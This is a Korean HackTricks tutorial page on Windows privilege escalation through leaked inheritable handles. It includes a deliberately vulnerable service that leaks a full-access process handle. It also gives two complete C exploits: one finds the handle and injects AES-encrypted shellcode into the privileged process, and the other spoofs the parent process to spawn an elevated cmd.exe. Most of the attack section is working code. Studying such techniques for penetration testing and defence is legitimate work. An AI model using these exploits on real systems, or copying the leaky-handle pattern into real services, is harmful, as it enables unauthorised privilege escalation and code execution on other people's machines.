Leaked Handle Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

소개

프로세스의 핸들은 다양한 Windows 자원에 액세스할 수 있게 합니다:

이미 특권 상승 사례에서 특권이 있는 프로세스열려 있고 상속 가능한 핸들을 가지고 특권이 없는 프로세스를 실행하여 모든 해당 핸들에 액세스할 수 있게 하는 경우가 있었습니다.

예를 들어, SYSTEM으로 실행 중인 프로세스가 새 프로세스를 열 때 (OpenProcess()) 전체 액세스로 열었고, 동일한 프로세스가 모든 열린 핸들을 상속하면서 권한이 낮은 새 프로세스를 생성할 때 (CreateProcess()). 그런 다음, 낮은 권한 프로세스에 전체 액세스가 있다면 OpenProcess()로 생성된 특권 프로세스의 열린 핸들을 잡아 쉘코드를 삽입할 수 있습니다.

흥미로운 핸들

프로세스

첫 번째 예제에서 본 바와 같이 특권 프로세스의 프로세스 핸들을 상속받은 특정 권한이 충분한 특권 프로세스프로세스 핸들을 악용하여 임의의 코드를 실행할 수 있습니다.

이 훌륭한 기사에서 다음 권한 중 하나를 가진 프로세스 핸들을 악용하는 방법을 볼 수 있습니다:

  • PROCESS_ALL_ACCESS

  • PROCESS_CREATE_PROCESS

  • PROCESS_CREATE_THREAD

  • PROCESS_DUP_HANDLE

  • PROCESS_VM_WRITE

스레드

프로세스 핸들과 유사하게, 특정 권한이 충분한 특권 프로세스의 스레드 핸들을 상속받은 특권이 없는 프로세스임의의 코드를 실행할 수 있습니다.

이 훌륭한 기사에서 다음 권한 중 하나를 가진 스레드 핸들을 악용하는 방법을 볼 수도 있습니다:

  • THREAD_ALL_ACCESS

  • THREAD_DIRECT_IMPERSONATION

  • THREAD_SET_CONTEXT

파일, 키 및 섹션 핸들

특권 파일 또는 레지스트리에 대한 쓰기 등가 권한을 가진 핸들상속받은 특권이 없는 프로세스는 파일/레지스트리를 덮어쓸 수 있게 되며, 운이 좋다면 특권을 상승할 수도 있습니다.

섹션 핸들은 파일 핸들과 유사하며, 이러한 종류의 객체의 일반적인 이름은 "파일 매핑"입니다. 이들은 전체 파일을 메모리에 유지하지 않고 큰 파일을 처리하는 데 사용됩니다. 이로 인해 파일 핸들의 악용과 "유사한" 악용이 이루어집니다.

프로세스의 핸들 보는 방법

Process Hacker

Process Hacker는 무료로 다운로드할 수 있는 도구입니다. 프로세스를 검사하는 여러 놀라운 옵션 중 하나는 각 프로세스의 핸들을 볼 수 있는 기능입니다.

모든 프로세스의 핸들을 보려면 SeDebugPrivilege가 필요하므로 Process Hacker를 관리자 권한으로 실행해야 합니다.

프로세스의 핸들을 보려면 프로세스를 마우스 오른쪽 단추로 클릭하고 핸들을 선택하세요:

그런 다음 핸들을 마우스 오른쪽 단추로 클릭하여 권한을 확인할 수 있습니다:

Sysinternals Handles

Sysinternals의 Handles 바이너리는 콘솔에서 각 프로세스의 핸들을 나열합니다:

LeakedHandlesFinder

이 도구를 사용하면 누설된 핸들을 모니터링하고 특권 상승을 위해 자동으로 악용할 수 있습니다.

방법론

이제 프로세스의 핸들을 찾는 방법을 알았으므로 확인해야 할 것은 특권 핸들에 액세스 권한이 있는 특권이 없는 프로세스가 있는지입니다. 그 경우에는 프로세스의 사용자가 핸들을 획들하고 특권 상승을 위해 핸들을 남용할 수 있습니다.

모든 핸들에 액세스하려면 SeDebugPrivilege가 필요하다고 언급되었습니다. 그러나 사용자는 여전히 자신의 프로세스의 핸들에 액세스할 수 있으므로 사용자의 일반 권한으로 도구를 실행하여 해당 사용자에서만 특권 상승을 원한다면 유용할 수 있습니다.

handle64.exe /a | findstr /r /i "process thread file key pid:"

취약한 예시

예를 들어, 다음 코드는 취약할 수 있는 Windows 서비스에 속하는 코드입니다. 이 서비스 이진 파일의 취약한 코드는 Exploit 함수 내에 위치합니다. 이 함수는 전체 액세스 권한을 갖는 새 핸들 프로세스를 생성합니다. 그런 다음, 낮은 권한 프로세스를 생성합니다 (_explorer.exe_의 낮은 권한 토큰을 복사하여) _C:\users\username\desktop\client.exe_를 실행합니다. 취약점은 bInheritHandlesTRUE로 설정하여 낮은 권한 프로세스를 생성하는 데 있습니다.

따라서, 이 낮은 권한 프로세스는 먼저 생성된 고 권한 프로세스의 핸들을 획들하고 셸코드를 삽입하고 실행할 수 있습니다 (다음 섹션 참조).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Exploit Example 1

실제 시나리오에서는 아마도 취약한 코드에 의해 실행될 바이너리를 제어할 수 없을 것입니다 (이 경우에는 C:\users\username\desktop\client.exe). 아마도 프로세스를 침투하고 권한이 있는 프로세스의 취약한 핸들에 액세스할 수 있는지 확인해야 할 것입니다.

이 예에서는 _C:\users\username\desktop\client.exe_에 대한 가능한 익스플로잇 코드를 찾을 수 있습니다. 이 코드의 가장 흥미로운 부분은 GetVulnProcHandle에 있습니다. 이 함수는 모든 핸들을 가져오기 시작한 다음 PID가 동일한지 확인하고 핸들이 프로세스에 속하는지 확인합니다. 이러한 모든 요구 사항이 충족되면 (접근 가능한 열린 프로세스 핸들이 발견됨) 프로세스의 핸들을 악용하여 쉘코드를 주입하고 실행하려고 시도합니다. 쉘코드의 주입은 Inject 함수 내에서 수행되며, 이 함수는 프로세스 내에 쉘코드를 작성하고 동일한 프로세스 내에서 스레드를 생성하여 쉘코드를 실행합니다.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
```c
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("내 PID: %d\n", GetCurrentProcessId());
getchar();

// 누출된 프로세스 핸들 찾기
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// 페이로드 복호화
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] 선물 전송 중...");
// 특권 컨텍스트에서 페이로드 주입 및 실행
Inject(hProc, payload, payload_len);
printf("완료.\n");
}
getchar();

return 0;
}

Exploit Example 2

실제 시나리오에서는 아마도 취약한 코드에 의해 실행될 바이너리를 제어할 수 없을 것입니다 (이 경우 C:\users\username\desktop\client.exe). 아마도 프로세스를 침투하고 권한이 있는 프로세스의 취약한 핸들에 액세스할 수 있는지 확인해야 할 것입니다.

이 예에서는 열린 핸들을 악용하여 셸코드를 삽입하고 실행하는 대신, 특권 열린 핸들 프로세스의 토큰을 사용하여 새로운 핸들을 생성합니다. 이는 138번째 줄부터 148번째 줄까지 수행됩니다.

함수 UpdateProcThreadAttribute속성 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS와 특권 있는 프로세스의 핸들을 사용하는 방법에 주목하십시오. 이는 _cmd.exe를 실행하는 생성된 프로세스 스레드가 열린 핸들 프로세스와 동일한 토큰 권한을 갖게 됨을 의미합니다.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}

다른 도구 및 예시

이 도구를 사용하면 누출된 핸들을 모니터링하여 취약한 핸들을 찾고 자동으로 악용할 수 있습니다. 또한 하나를 누출하는 도구도 있습니다.

핸들을 누출하고 악용하는 또 다른 도구입니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요!

HackTricks를 지원하는 다른 방법:

Last updated